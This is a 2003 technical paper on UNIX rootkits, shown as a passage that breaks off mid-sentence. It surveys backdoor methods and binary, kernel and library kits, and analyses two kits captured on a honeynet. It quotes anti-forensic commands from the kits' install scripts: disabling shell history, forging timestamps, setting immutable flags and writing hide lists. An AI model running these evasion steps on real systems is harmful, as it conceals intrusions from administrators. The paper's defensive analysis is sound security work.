UNIX Rootkits Technology Overview

Anton Chuvakin, Ph.D., GCIA http://www.info-secure.org

WRITTEN: 2003

DISCLAIMER:
Security is a rapidly changing field of human endeavor. Threats we face literally change
every day; moreover, many security professionals consider the rate of change to be
accelerating. On top of that, to be able to stay in touch with such ever-changing reality,
one has to evolve with the space as well. Thus, even though I hope that this document will
be useful for to my readers, please keep in mind that is was possibly written years ago.
Also, keep in mind that some of the URL might have gone 404, please Google around.

Part 1

Rootkits, as we know them now, came into being sometime in mid 1990s. At that time,
SunOS UNIX system administrators reportedly started seeing strange server behavior,
missing disk space and CPU cycles and network connections that strangely did not show
up in "netstat" command. The age of rootkits has begun. While rootkits were reportedly
born in mid-1990s, many tools (such as log file cleaners) that later become inherent parts
of rootkits were known as long ago as 1989 and even earlier in the underground.

Rootkits (further referenced as kits) are automated software packages to setup and
maintain your environment on the compromised machine. We will review main areas of
rootkit functionality in this part of the paper. By implementation technology, there are three
main classes of rootkits available today: binary kits, kernel kits and library kits. The first
class achieves its goal by replacing certain system files with their Trojan counterparts,
second uses kernel components (also called “modules”) or Trojans and the third employs
system library Trojans. Rootkits found in the wild (such as captured on honeypots) often
combine trojaned binaries with higher "security" provided by the kernel and library
components. The details on rootkit technology will be provided in the second paper of the
series.

Just as an overview, the table below shows a brief history of rootkits (note that all dates
below are the dates when information became publicly available and software might have
been available much earlier in the underground):

From log cleaners to live kernel patching

1989 First log cleaners found on hacked systems

1994 Early SunOS kits detected
1996 First Linux rootkits publicly appear
 From log cleaners to live kernel patching

1997 LKM Trojans proposed in "Phrack"

1998 Non-LKM kernel patching proposed by Silvio Cesare
1999 Adore LKM kit released by TESO
2000 T0rnkit v. 8 libproc library Trojan released
2001 KIS Trojan and SucKit released
2002 Sniffer backdoors start to show up in kits

Our research indicates that rootkit functionality can be categorized into following groups:

• Maintain access
• Attack other systems
• Destroy evidence

Lets analyze those areas in more detail.

I. Maintain access

Maintaining access is typically associated with backdoors, both local and remote. First, we
consider remote backdoors i.e. hidden remote access programs. The methods we will
discuss are listed below. The list approximately follows the ascending level of stealth that
backdoor provides. Note that remote access methods that will only work in local LAN are
not considered (no datalink-layer or second layer communication).

1. Telnet or shell on a TCP port: simply connecting to a system via telnet or old inetd-
spawned shell backdoor (a shell bound to a high port on a system). This first option is not
covert at all, allows for easy detection and is only provided for reference. The high port
shell will allow one to hide from only the most "entry-level" UNIX administrators (not yet
knowing the "netstat" command), since the connection will not leave a record in system
logs unlike the stock telnet. The inetd.conf shell backdoor goes back to the 1980s and
likely even earlier. It can be easily spotted by looking for extraneous entries in
/etc/inetd.conf. Similar access can be realized by “trojaning”1 any of the listening daemons
such as telnet, sshd, ftpd, sendmail, named, httpd, tcpd, finger, inetd, or many others
available on UNIX and making it provide a shell on certain port upon request.

2. SSH (secure shell) regular or trojaned and on high port: ssh (Secure Shell remote
login software) is a backdoor tool of choice for many amateur attackers. Deploying a
second ssh daemon running on a high port (such as 812 or 1056 TCP) on a compromised
machine is a "modus operandi" of many a "script kiddy"2. This provides several
advantages over using telnet since communication is encrypted and suspicious
commands cannot be picked by the network IDS systems. Custom SSH daemon also will
1
Trojaned = replace by the Trojan version that provides extra functionality beneficial to attacker
2
Script kiddy = entry-level amateur hacker, often using other people’s tools without understanding their operation.
not leave evidence in log files upon connecting. However, both SSH and telnet will show
up in the "netstat" command, provided that it is not trojaned by the kit to miss the
offending connections. This access technique becomes somewhat better under the cover
of Trojan binaries or kernel rootkit that hides the connection from the admin. However, the
listening TCP ports give it away if the server is port scanned from outside using tools such
as nmap.

3. CGI shell: a hostile CGI script can be deployed by the rootkit in the web server
directory. It is often considered a backdoor of "last resort" in case a system administrator
has found the kit and erased its main directory. The CGI script will execute the user-
defined commands (with the privileges of the user "nobody" or "httpd") and show the
output in browser. Local attacks will have to be used to get "root". This does not open any
new ports, but just piggybacks on the existing web server connection.

4. UDP listener: UDP services are harder to port scan than TCP and are usually less
likely to be looked for and discovered. If a backdoor listens on the UDP port, it is less likely
that running various system commands or port scanning will discover it. Communication
protocol must be designed for such connections since there is no standard remote access
protocol over UDP. Encrypting the communication will protect it from sniffing network IDS.

5. Reverse shell/telnet: a backdoor that opens a connection from a target to an

attacker’s machine is better that a regular connection (from attacker to a victim) since the
target should not have any new open ports and can be firewalled (such as by personal
firewall or host-based ACL protection) to prevent inbound connections. The hacker
machine should be running something like "netcat" ("nc") to listen for inbound
connections. The connection can also be encrypted (e.g. by cryptcat or stunnel SSL
wrapper), and thus shielded from network IDS. However, many people will find it at least
unusual if their servers start to initiate connections to some outside machines. Moreover,
some outbound connections can be safely blocked on the border firewall en-masse (e.g.
block all outbound from all public DMZ servers), thus foiling the reverse shell.

6. ICMP "telnet": they say one can tunnel everything over everything else and the "ICMP
telnet" (such as implemented by the classic Loki tool) is a prime example. ICMP control
messages such as Echo Request and Echo Reply can be made to carry payloads such as
command line sessions. Many types of ICMP messages are allowed through the firewall
for network performance reasons. Such backdoor will not be seen in “netstat” and cannot
be uncovered by port scanning the target machine. However, network IDS system may
pick up the unusual patterns in ICMP communication that will be caused by the existing
publicly-available ICMP backdoors.

7. Reverse tunneled shell: helps with blocked outbound connections. In most

environments web browsing (access to outside machines on port 80 TCP) is allowed and
often even unrestricted. Remote HTTP shell will imitate a connection from a browser
(inside the protected perimeter) to the web server (outside). The connection itself will be
fully compliant with HTTP protocol used for browsing and can even pass through HTTP
proxies (such as Squid), authenticated proxies and proxy firewalls (provided that access
credentials are available). The web server part will be played by the software that can
interpret the "HTTP-encoded" command session. Such a backdoor is extremely unlikely to
be picked up by network IDS. The backdoor engine can be activated by a "magic" packet
or by a timer for higher stealth. Similar to the previous case, this technique is not optimal
for backdoor access to DMZ machines, where outbound connections can be prevented.

8. "Magic" packet-activated backdoor: is a mix between reverse shells and regular

direct connect backdoors. The backdoor opens a port, executes a single command or
initiates a session from the target only upon receiving a specific packet, such as TCP with
a specific sequence number of other inconspicuous parameter set.

9. No-listener (sniffer-based) backdoor: this method of hidden communication provides

a high degree of stealth and includes deception capabilities. In this case the backdoor
does not open a port but starts sniffing network traffic instead. Upon receiving a specific
packet (not even aimed at the machine with a backdoor installed, but visible to it i.e.
located on the same local area network) it executes an action and sends a response. The
response is also sent using a "spoofed" (i.e. faked) source IP address so that the
communication cannot be traced back to a target. Limited tracing is possible by observing
the layer two (i.e. MAC or network card hardware) addresses, but only by an observer in
the same LAN as the victim. These backdoors are just starting to pop up in rootkits

10. Covert channel backdoor: a full-blown covert channel (in the sense defined in the
Department of Defense "rainbow series" of books3) can be designed to be proved
undetectable. If one is to design its own signal system and then overlay it over the
otherwise innocuous network protocol, it will probably never be detected by existing
security software. The number of factors that can be varied and the number of arbitrary
fields within current network and application layer protocols is too high to be accounted
for. Just imagine: what is the TCP initial sequence number is not quite random but carries
a pattern? What is the web server slightly changes the formatting of the web page to send
a byte or two out? Possibilities are endless, especially if a low-bandwidth channel will
suffice. Surveyed rootkits did not utilize this technology.

Local access maintenance is assured by rootkits by providing trojaned tools that yield
"root" access. Many standard UNIX tools, that are installed SUID "root" are repackaged by
attackers to provide "root on demand". "Ping", "xterm" and many of the network daemons
might be used for that purpose. Some kernel rootkits simply give "root" to a specified user
name, not listed as having UID 0 in /etc/password.

While rootkits always require root for installation and give its owner "root" access on
demand, many of them implement an "offense in depth" by providing many different
backdoors and Trojans to access the system and escalate privileges. In case the main
backdoor, such as a trojaned SSH is found and killed, several other tricks might allow an
attacker to get back. Rootkits might create additional "root" and "non-root" account that
can be used to get back to a system. Local privilege escalation is provided by modified
SUID binaries. Trojaned "/bin/login" is another popular choice. A copy of SUID “root”
3
Available here http://www.radium.ncsc.mil/tpep/library/rainbow/ and in many other places online
"/bin/bash" stashed in obscure location will provide an easy backup way to get "root" (on a
system with no periodic integrity checking and SUID searching). As discussed above, a
kernel Trojan can be utilized to give root to specific users by remapping a setuid() kernel
call. Even simpler, the system might be artificially "weakened" so that exploiting local
program become easier. A change in one configuration file can go a long way towards
opening a hole for the intruder.

Securing the system against “competing” attackers can also be considered part of
“maintaining access”, as it prevents other unauthorized users from abusing the system
(further?). Several surveyed rootkits do a thorough job of closing holes and hardening and
patching the system. Most rootkits also include the functionality to “clean” the system of
previously installed kits and DDoS zombies.

II. Attacks

Tools to attack other systems and expand the "captured territory" appeared in Linux
rootkits in the end of 1990s. We classify the attack tools included in rootkits into the
following categories:

• Local attack tools

• Remote attack tools
• DoS tools

Local attacks are mostly done to recapture "root" taken by the vigilant system admins and
to get access to machines on the same LAN.

Most rootkits contain a basic password sniffer (such as “linsniff” for Linux) that will wreak
havoc on a network where clear text protocols are in use. Examples of such protocols
include POP3, IMAP, telnet, ftp and many others. All the authentication credentials
(usernames, passwords) from those sessions will be captured and potentially abused by
the intruder. Additionally, attacker might be able to read emails sent via SMTP, as it is
also a plain text protocol.

Sniffer software works by placing a machine's network interface in promiscuous mode so

that all packets passing through the wire are seen by the system and are analyzed by the
sniffer software for the presence of various signs of password authentication, such as
strings "login:", "assword:" (in order to catch leading capital “P” as well as small “p”), etc.
The network interface configuration change also provides a way to detect sniffers locally
by the promiscuous flag on the interface (in Linux, shown by the "/sbin/ifconfig"
command). Consequently, rootkits often Trojan the "ifconfig" command to hide the flag.

The kit usually also contains a tool to parse the sniffer output looking for password - user
name pairs. Rarely, there is also a tool to email the captured data out so that if sniffer is
found part of the captured data will be "safely" in the hands of attackers. More
sophisticated sniffers (such as "dsniff" by Dug Song, capable of sniffing on a switched
LANs) are available, but are not seen as part of rootkits.
The unusual local attack tool, a "SSH syscall sniffer", was found in one of the rootkits
captured on the honeynet. It allows the attacker to eavesdrop on local users connecting to
remote SSH servers and on remote users connecting to a local SSH server. The software
worked by intercepting system call such as read() and write() that contain usernames and
password for establishing the SSH sessions.

Local attack tools also cover various password-cracking utilities, handy for tightening the
hold on the system by taking over more and more accounts of legitimate users.

Remote attack tools include various scanners and "autorooters"4. One of the commonly
used autorooters (that makes a lot of noise at most network perimeters at the time of this
writing) is AWU: the WU-FTPD mass exploitation tool. The logic of the software is very
simple: get a class of IP addresses (such as a B-class), scan it for the presence of
listening FTP daemons, then run the “banner grab”5 within the results of the first run to
identify vulnerable WU-FTPD installs, on the third run exploit the machines and report on
success.

DoS tools are confided into a special category. Most rootkits captured on our honeynet
contained at least one (likely more) flood tools, ranging from a dated but still lethal "synk"
TCP SYN packet flooder to modern multi-mode spoofed "flooders", that can use older
TCP SYN, ICMP, UDP, TCP ACK floods and modern reflexive DoS attacks such as
spoofed DNS response floods. Attackers do use the tools without any second thoughts,
apparently on their enemies and during IRC channel takeovers ("IRC wars").

III. Concealing Evidence

The third crucial element of rootkit functionality is evidence elimination. Such activity
consists of removing the evidence of pre-attack activity and preventing the new evidence
from being generated.

Removing existing evidence boils down to sanitizing various log files, audit records (such
as BSD-style process accounting), application logs and shell histories. Plethora of well
publicized tools exit for this purpose. Most commonly uses methods include file removal
(with standard UNIX tools) and editing. None of the surveyed rootkits used any "reliable"
or "secure" data removal tools.

Prevention of audit is most commonly accomplished by killing off and/or modifying the
syslog daemon. Most rootkit installation scripts perform that action automatically and
some also notify the user of the found traces of remote logging (@loghost-type entries in
/etc/syslog.conf). Other operations include preventing the creation of shell history files that
record all the interactive session commands for remote and local users.

4
Autorooter=tool to automatically scan for vulnerable hosts and exploit them
5
Banner grab=looking at network service login banner (FTP, telnet, etc)
Hiding the evidence of breaking is the area where kernel-level or LKM (Loadable Kernel
Module) kits excel. Unlike regular binary kits that replace system executable files, LKM
kits (publicly available for Linux, Free/OpenBSD, Solaris) hook into the system kernel and
replace ("remap") or modify ("intercept") some of the kernel calls, used to interface
between user-space componets (such as file system tools) and core kernel components.
In this case, the very core of the operating system becomes untrusted. Consequently, all
of the system components that use the corrupted kernel call can and will lie to the user
and whatever security software installed. A rootkit will typically have a special
configuration file or have the hard coded filenames to be hidden.

In most cases, the rootkit will hide:

• Its own files

• Other attackers files (identified by name or location)
• Attacker’s processes (such as sniffers, backdoor daemons and password crackers)
• Specific network connection to and from the compromised machine identified by
address or protocol (such as, “hide all IRC”)

The details on how various rootkits perform the hiding will be provided in the Part II of
the paper.

The section reviews the malicious functionality commonly found in today’s UNIX rootkits –
tools to assist attacker in controlling the compromised systems. The material for the paper
series has been collected from running a research honeynet, part of Honeynet Research
Alliance.

Part II

As was discussed in Part I of the paper, rootkits (further sometimes referenced as “kits”)
are automated software packages used to setup and maintain your environment on the
compromised machine by intruders. In this paper we will take a detailed look at
technologies used in modern UNIX rootkits.

There are three main classes of rootkits available today: binary kits, kernel kits and library
kits. However, rootkits found in the wild often combine trojaned binaries with higher
"security" provided by the kernel and library components. Here is the description of those
rootkit types.

I.Binary Rootkits

The first rootkits seen in the wild used to replace critical system binaries, such as
/bin/login and network daemons. As outlined in Part I, this was done to accomplish
several goals, such as remote access, local access and evidence hiding. First rootkits
were simply tar6 archives of several popular system binaries (that are likely to be run by
system admin of the compromised machines in order to check on system health) and
several other support programs, such as log cleaners. The executable files were trojaned
to perform an action conducive for an attacker, such as hide malicious processes. The tar
archive also contained an installation script to copy the binaries in the right places (usually
over the existing system files) and perform other actions, such as closing the hole used to
attack the system. Such actions are described in detail further below. The binary files
were usually pre-compiled for a particular architecture (such as Linux on i386 Intel or
SPARC Solaris) and it was up to the user to find and utilize a correct kit for each
compromised system.

Let us briefly analyze how those binary kits accomplish the tasks of hiding and access.
Attacker deploys a kit after break-in via an included installation script. The script places
the binaries over the original versions and (sometimes) saves the old copies. Here is a
(somewhat) complete list of binaries that are often replaced (based on the list from
chkrootkit.org web page): asp, rexed, wted, z2, amd, basename, biff, chfn, chsh, cron,
date, du, dirname, echo, egrep, env, find, fingerd, ftpd, fusers, gpm, grep, hdparm, su,
ifconfig, inetd, identd, killall, login, ls, lsof, mail, mingetty, netstat, named, ntpd, passwd,
pidof, pop2d, pop3d, ps, pstree, rpcinfo, rlogind, rshd, slogin, sendmail, sshd, syslogd, tar,
tcpd, top, telnetd, timed, traceroute, w, write, xinetd and others.

The above trojaned binaries are used for the following areas of rootkit functionality
(reviewed in Part I of the paper):

•Provide remote access. /bin/login or trojaned network daemons (rlogind, rshd, telnetd,
sshd, identd, sendmail, many others) may contain a magic password (such as in the
form of $DISPLAY or $TERM environment variable commonly passed by the client to
the server) that will provide a privileged access to an attacker. Trojaning the network
access control program tcpd (part of TCP Wrappers package) will make it "overlook"
certain connection attempts or even make them launch a “root” shell for a connection
from a specific IP address.
•Provide local access. /bin/login or many of the normally SUID binaries (/bin/ping,
/usr/sbin/traceroute, /bin/su and great many others) can be modified to provide "root"
privileges to specified users or to those possessing a "magic" password or command
line switch. Modified cron daemon can be used to execute processes on behalf of the
attacker.
•Provide process hiding. /bin/ps, top will hide processes from casual viewing by the
system admin. Modified syslogd daemon will hide the processes from ever logging any
messages to system logs and remote log servers.
•Provide connection hiding. /bin/netstat (a standard UNIX command to view network
connection) trojan will "help" in this regard.
•Provide file hiding. A plethora of file browsing tools, such as ls, dir and even cat may be
trojaned to hide certain file from being seen. Some rootkits contain the global
configuration file that lists what connections, files and processes should be hidden
using the regular expressions (i.e. patterns) syntax.
6
“tar” is a standard UNIX archival tool
•Provide user activity hiding. If a system admin logins to a compromised system, the like of
w, who and finger trojaned binaries will make sure that attacker's user entry will not get
displayed. Other binary trojans will hide evidence of running network sniffers (via
ifconfig command trojan).

When the kit is installed, its own tools are deployed in some "hidden" directory. Hidden
here refers to "not commonly looked at by administrators" and not to any special hidden
properties. The directory will be easily found by the integrity checking tools, provided they
were installed before the break-in. Note, that the system ls command will likely be trojaned
to not show this directory by the attacker, just for "safety" sake.

Here are some of the common locations to install rootkit files:

/dev/.hdd
/etc/rc.d/arch/alpha/lib/.lib
/usr/src/.poop
/usr/lib/.egcs
/dev/.lib
/usr/src/linux/arch/alpha/lib/.lib/.1proc
/usr/src/.puta
/usr/info/.t0rn
/etc/rc.d/rsha
/etc/...
/etc/".. "

The last entry refers to a dot-dot-space directory name, a classic choice to deploy rootkit
files. Some invicible special characters are also often used in directory names to make
their discovery and deletion harder.

When installing the trojans, rootkit installation script often contains additional tools to
adjust the timestamp and sizes of the trojans to match the original binaries. Even a simple
touch command can be used to get the timestamp from one file and assign it to another
(“touch -r oldfile trojanfile”)

II.Kernel rootkits

Kernel-level rootkits first came into being as malicious kernel modules. While it is unknown
when the first LKM (i.e. Loadable Kernel Module) kit was coded in the underground, it is
clearly happened much earlier than they were made public in a Bugtraq post by Runar
Jensen in October 1997 (heroin.c LKM trojan for Linux).

Unlike regular kits that replace system files, LKM kits (now publicly available for Linux,
Free/OpenBSD, Solaris) hook into the system kernel and modify some of the system calls.
Most UNIX operating systems separate between the kernel-mode and user-mode. For
example, the application programs run in user-mode while most hardware device
interaction happens in kernel-mode. If an application needs an access to a certain
hardware piece (such as a disk or a monitor) it requests the access via a system call. For
example, to read a file a read() system call is used. The application executes a system call
and a kernel provides an access to a file on a disk. Each operating system has a slightly
different list of system calls, often found in /usr/include/sys/syscall.h or
/usr/include/syscall.h. The code for the calls is part of the kernel. The loadable kernel
module, which runs in kernel-mode, has a capability to modify this code and thus to
change the functionality of the call. For example, open() call that used to mean 'get to disk
and open a file from this location' might become 'get to disk and open the file from this
location unless its name is "rootkit"'. Same trick can be played with many system calls,
leading to a compromised system.

The very core of the operating system becomes untrusted. Consequently, all of the
system components that use the corrupted kernel call can and will lie to the user and
whatever security software installed. Commands such as "ls" execute a system call to
read directory entries and provide them for a user. The command will report an incorrect
information simply because it will be given the incorrect data by the kernel.

More details on the implementation of malicious LKM rootkits is available at

http://rr.sans.org/threats/rootkits.php http://rr.sans.org/threats/rootkits2.php
http://rr.sans.org/linux/kernel_mods.php

LKM kits take the art of hiding on the next level. At the very least, they include file,
process, connection and other kernel module hiding capabilities. More advanced
malicious LKM attempt to combat detection attempts by the known anti-LKM-rootkit tools
and provide the users with additional functionalities, such as “root” on demand or in-kernel
network backdoor.

However, scary this LKM rootkit technology might be, it is not the bleeding edge of the art
of hiding on the system. Most LKM kits can be defeated by simply disabling the loading of
modules within the UNIX/Linux kernel. It is usually a compile time option for open source
UNIX variants and can be accomplished on Solaris as well. Recently, it was discovered (in
the seminal paper of Silvio Cesare "Runtime Kernel Patching") that loadable modules are
not required for intruding upon the UNIX kernel. Instead, one can directly modify the
memory image (usually in /dev/mem) to affect the system call table or other parts of the
running kernel. Several kits have since turned this research advance into production code.
SucKit is a user-friendly package that installs in the kernel and allows covert remote login,
all without a need to insert any modules and with no user-mod components. The
technique invented by Silvio Cesare works for both 2.2 and 2.4. kernels.

III. Library Kits

Library Trojan kits, of which T0rn 8 is the most famous representative, use somewhat
different method to elude detection. For example, t0rn kit uses a special system library
(called libproc.a) that replaces a standard system library, used for relaying the process
information from the kernel-space (via /proc filesystem) to user space utilities such as
/bin/ps and top. Having the trojaned library allows one not to modify the binaries
themselves since they will use the data “sanitized” by the libproc.a trojan. For example,
such library can filter certain process names from being seen. However, looking directly at
/proc will reveal the ruse.

It is also reasonably straightforward to modify the glibc/libc main system library to “switch”
the data before it is sent to a kernel, thus duplicating functionality of an LKM rootkit without
going into the kernel space. It can be called a user-space equivalent of kernel module-
based redirection.
A program linked with the library (such as most default applications on a Linux system) will
be deceived and will report false data. However, statically linked programs will avoid this
destiny. Rootkits are rumoured to use this technology for process and file hiding.

Another sophisticated rootkit was found to use a different trick involving system libraries.
The kit added an entry to /etc/ld.so.preload and provided its own library that redirects some
of the standard library calls. Its position in /etc/ld.so.preload assures that it will be loaded
before other system libaries, thus making sure that its “custom” calls will be executed in
place of regular ones.

UNIX tools such as ltrace, strace and truss can be used to trace library calls and
system/kernel calls.

IV.Usage

Here is how attackers use the rootkits on the compromised systems. After gaining access,
the attacker will download the kit from his site or a "dead drop" box, unpack it and run the
installation script.

Here is the typical rootkit usage strategy as used by attackers in our honeynet:

1.Find the vulnerable host – usually via an automated scanner, autorooter7 or a pre-built
database of vulnerable hosts
2.Exploit the host
3.Download a rootkit – sometimes this step is done righ after exploitation by the same
tool. In this case the attacker might leave the autorooter running overnigh and will have
a list of compromised and backdoored machines in the morning.
4.Deploy the kit via an installation script.

It is worth noting that many actions are performed by the installation shell scrip. Let us
quickly look though the typical rootkit installation script (such as the one featured in this
analysis paper http://www.linuxsecurity.com/feature_stories/ftp-analysis-part1.html).

1.Disable the shell history (via unset HISTFILE; export HISTFILE=/dev/null)

2.Setup the directory structure for rootkit (e.g. /usr/info/.1)
3.Unpack the components
4.Kill the syslog daemon and freeze the system logs (via chattr +i)

7
A hacker tool combining a scanner with exploit module. Used for one step mass scaning and exploitation. Autorooters
are very popular with East European “script kiddies”.
5.Deploy and start the backdoor sshd daemon under the innocuous sounding name (see Part I for details).
The daemon uses port 1100 TCP.
6.Unpack, built and deploy the LKM to make sure it runs on every system boot (adore-0.42). LKM hides the
kit directories, the running sshd process and IRC connections
7.Modify system startup file to launch the sshd and a sniffer on system boot
8.Deploy some additional toos (DoS attack tools)
9.Unlock the log files locked by chattr above
10.Remove the evidence such as rootkit packeage and other files

After deploying the kit, the attacker is able to connect to his backdoor on TCP port 1100
and use the system without being seen.

V.Future Trends

Lets cast a cursory look at future trends that are emerging in the rootkit technologies. Here
is a list of some trends noticed in our research.

•Better HIDS protection – while research exists on circumventing checksum verification,

few rootkits implement any effective anti-HIDS tricks. As more people deploy host
protection measures (Tripwire is now included by default in several Linux distributions),
more rootkits will automatically attempt to avoid or fight HIDS. It is worthwhil;e to point
out that most LKM kits (such as adore or knark) will not be detected by simple integrity
checkers, but more advanced solutions (such as Tripwire) will catch them.

•Custom kernel hiding and non-LKM kernel attack - while SucKit has been spotted in
several Linux attacks, more kits that use the runtime kernel patching are sure to
surface, especially for “custom” intrusion

•BetterLKMs that hide from detection - “armor/projectile battle” between the malicious
LKM developers. As more tools to discover them are written, more kits will include the
technology to avoid the defensive measuyre. The KIS kit, for example, attempts to
evade StMichael LKM detection module.

•Covert channelling and passive backdoors – passive backdoors (outlines in Part I) are
likely to become more common in rootkits due to their excellent stealth properties.
Some attacks captured by the Honeynet Projects did use spoofing for bidirectional
communication. Moreover, DDoS components also talke using spoofed IP packets.

•More application-level backdoors – as more emphasis is placed on application security, it

is likely that we will see more rootkits using hiding within applications to accomplish its
goal. While malicious CGI scripts are being deployed by rootkits even now, more
application-level backdoors are sure to follow.

Part III
In this part of the paper, we will analyze three rootkits captured on a real compromised
Linux machines. One is a pure binary kit (only replaces executable files), one is a remote
child of t0rn v.8 kit (and thus uses malicious library to hide processes) and the third is
Adore-based LKM kit (albeit translated in Romanian). See the previous part of the paper
for the overview of those technologies.

I. “Sa”- first generation binary kit

On Sunday, May 5, the honeypot running at RedHat Linux 7.1 was hit by the WU-FTPD
exploit (yields remote "root" access, see "CERT® Advisory CA-2001-33 Multiple
Vulnerabilities in WU-FTPD" http://www.cert.org/advisories/CA-2001-33.html). Attacker
has downloaded and deployed the binary-only rootkit from his personal web site.

The kit appears to be one of the early kits, slightly modified for modern Linux distributions.
Here is the file composition for the kit:

-rwxr-xr-x 1 anton anton 4620 Aug 8 2000 becys.cgi

-rwxr-xr-x 1 anton anton 76 Nov 11 2000 hdparm
-rwxr-xr-x 1 anton anton 19840 Sep 25 1983 ifconfig
-rwx------ 1 anton anton 1954 Feb 10 2002 install
-rwx------ 1 anton anton 7165 Sep 25 1983 linsniffer
-rwx------ 1 anton anton 75 Sep 25 1983 logclear
-rwxr-xr-x 1 anton anton 35300 Sep 25 1983 netstat
-rwxr-xr-x 1 anton anton 33280 Sep 25 1983 ps
-rw-r--r-- 1 anton anton 704 Feb 5 2002 s
-rwxr-xr-x 1 anton anton 4060 Sep 25 1983 sense
-rwx------ 1 anton anton 8268 Sep 25 1983 sl2
-rwxr-xr-x 1 anton anton 686535 Dec 2 2000 sshdu
-rw------- 1 anton anton 541 Sep 25 1983 ssh_host_key
-rw------- 1 anton anton 512 Sep 25 1983 ssh_random_seed
-rw------- 1 anton anton 0 Dec 16 15:16 tcp.log
-rwxr-xr-x 1 anton anton 53588 Sep 25 1983 top

Let us show how the rootkit components are installed on the victim machine. It also gives
a nice practical example of rootkit functionality (detailed in Part I of the paper) and
technologies (discussed in Part II). During the kit installation, the following steps are being
performed by the installation script (see install file above), which is run after the rootkit is
copied and unpacked:

1. The installation begins with the standard steps to prevent the audit trail formation. This
kit does not use any of the more sophisticated steps to hide its presence or the fact of the
installation. It only makes sure that the shell history of the current session is not being
produced (via "unset HISTFILE").
2. Second, the kit erases the original binary files and deploys the Trojans
(/sbin/ifconfig, /bin/netstat, /bin/ps, /usr/bin/top). These programs will allow the
attacker to hide its processes, network connections and the promiscuous flag on the
network interface (due to running the sniffer) from the casual snooping by the system
administrator.

3. The rootkit installation script then builds a configuration file used by the above Trojans
to hide themselves and other hacker programs. The file is created in the "/dev/dsx"
directory and is created via:

echo "3 sl2" >>/dev/dsx

echo "3 sshdu" >>/dev/dsx
echo "3 linsniffer" >>/dev/dsx
echo "3 smurf" >>/dev/dsx
echo "3 slice" >>/dev/dsx
echo "3 mech" >>/dev/dsx
…

4. Another configuration file is built to hide network connections. It lists his favorite IP
address classes and ports (notice IRC port 6667 listed)

echo "1 193.231.139" >>/dev/caca

echo "1 213.154.137" >>/dev/caca
echo "1 193.254.34" >>/dev/caca
echo "3 6667" >>/dev/caca
echo "3 3666" >>/dev/caca
echo "3 31221" >>/dev/caca
…

5. Now, the install script creates a home directory for other kit components. This kit makes
its home in "/dev/ida/.inet" (again, one more of those supposedly innocuous locations,
where amateur admins never look). It the copies most of the above files into a new "home"
and then creates an empty sniffer log ("touch /dev/ida/.inet/tcp.log")

6. As a next step, the kit uses a curious method to start its own components (SSH
daemon and sniffer) on system boot. It creates a fake copy of rarely used system program
(hdparm - used to tune the hard drive performance). The fake copy is actually a shell
script launching the sniffer and the backdoor sshd daemon. Complete with fake but
realistic parameters ("/usr/bin/hdparm -t1 -X53 -p") the string is copied into the system
startup file "/etc/rc.d/rc.sysinit" to be run on every boot. For good measure, the "hdparm'
file is made readable only by root and immutable (via Linux capabilities mechanism "chattr
+i") so that even root cannot erase it (unless the attribute is set
back to "-i").

7. Next step is the deployment of the backup backdoor, an evil CGI script "becys.cgi". The
installation script searches for a system default CGI directory (/home/httpd/cgi-bin,
/usr/local/apache/cgi-bin, or others) and copies the "becys.cgi" there). The CGI
backdoor provides shell access over the web (as user "apache"). Commands like "cat
/etc/password" can be easily executed via such backdoor. The CGI is a binary program
written in C and not the usual Perl CGI.

8. As a next to last step, the script composes an email to its owner (apparently for keeping
the scores on the hacked systems). The email contains the system's IP address,
hostname, uname system information ("uname -a" typically returns something like "Linux
anton 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux") and
proclaims in Romanian "Another victim of hackers!"

9. The kit then erases the directory where it was unpacked and the tar archive package.

The analysis of binary files within the kit show that the binaries are hard coded to use the
hiding files. For example, "/dev/dsx" string is present in the Trojan version of the
"/bin/ps", so that it is confirmed that the Trojan refers to this file to look up the process
names to hide. One of the captured files is a sniffer, complete with log parser. Simple plain
text log cleaner is also included (“logclear” in the above file list) as well an old DoS tool
(slice, named “sl2”).

Overall, the kit is a primitive first generation binary-only kit with no log cleaning tools and
no advanced features discussed in Part I and Part II. All the included technology is
publicly available from various security or hacking web sites.

II. W00tkit - one of many children of t0rn

W00tkit was captured on a Linux honeynet in summer 2002. The attack was performed by
a fully automated “autorooter” tool that deployed the kit after the exploit succeeded. The
tool owner has accessed the victim within several days from the compromise.

The kit appears to be one of the many derivatives from the t0rn v.8 kit, due to the use of
hiding "libproc.so.2.0.6" library. However, in this case the library is also supported by the
malicious LKM Adore.

The components of the kit are listed below:

chattr dir fix install1 ls move read sshd_config statdx wroot

check du ifconfig killall lsof netstat remove ssh_host_key top
wscan
cl encrypt init lg mailme patch sc ssh_host_key.pub v wted
clean exit initd libproc.so.2.0.6 mailme1 ps scan/ ssh_random_seed vdir
wu
curatare/ exit2 install login md5sum pstree sl2 startfile write

Here is what is done by the installation process of the kit.

1. The first step is predictable. The script disables the shell history ("unset HISTFILE ;
unset HISTSAVE")

2. Next the install script launches another script called "remove" from the same package.
The script first collects the MD5 checksums of the original system binaries that are to be
Trojaned and encrypts the resulting file with the rootkit default password, also erasing the
plain text file immediately after the encryption.

3. Next the script places the Trojans of the above system binaries (and a library) and
makes them non-removable (using "chattr +saui"). Chattr, md5sum, netstat, ps, top,
ifconfig, pstree, dir,,
vdir, killall, du, ls are replaced by Trojaned versions. As it is evident, this kit is much
thorough than the previous one in Trojaning the system.

4. As a next step the scrip performs some simple system hardening, namely by stopping
and then removing the "portmap" service, a common subject of old Linux exploits.

5. The rootkit looks for two configuration files, used by other rootkits (in fact, used by the
rootkit described above) and eliminates them: 'rm -f /dev/caca'. Several files are thus
removed: /dev/caca,
/dev/pisu, /dev/dsx.

6. Next the rootkit deploys its own configuration files to control the hiding modules as
/usr/include/proc.h, /usr/include/file.h, /usr/include/hosts.h. The real content of those
C language header files becomes something like:

1 xlogic.ca
1 limp-bizkit.ro
2 193.231
2 217.156
2 217.10
2 213.233
2 microrom.ro
3 25330
3 1981
4 25330
4 6667
4 6666

2 awu
2 7350wurm
2 startwu
2 screen
2 SCREEN
2 psy
3 xl
2 xbnc
2 initd
2 scan

etc. After deployment, the files are also made immutable. The interesting consequence of
such configuration files is that those strings are more innocuous when found within the
binary files than (for example, /dev/dsx which looks suspicious within the /bin/ls binary)

7. Next, the script deploys the main backdoor (as usual, the modified SSH daemon) as
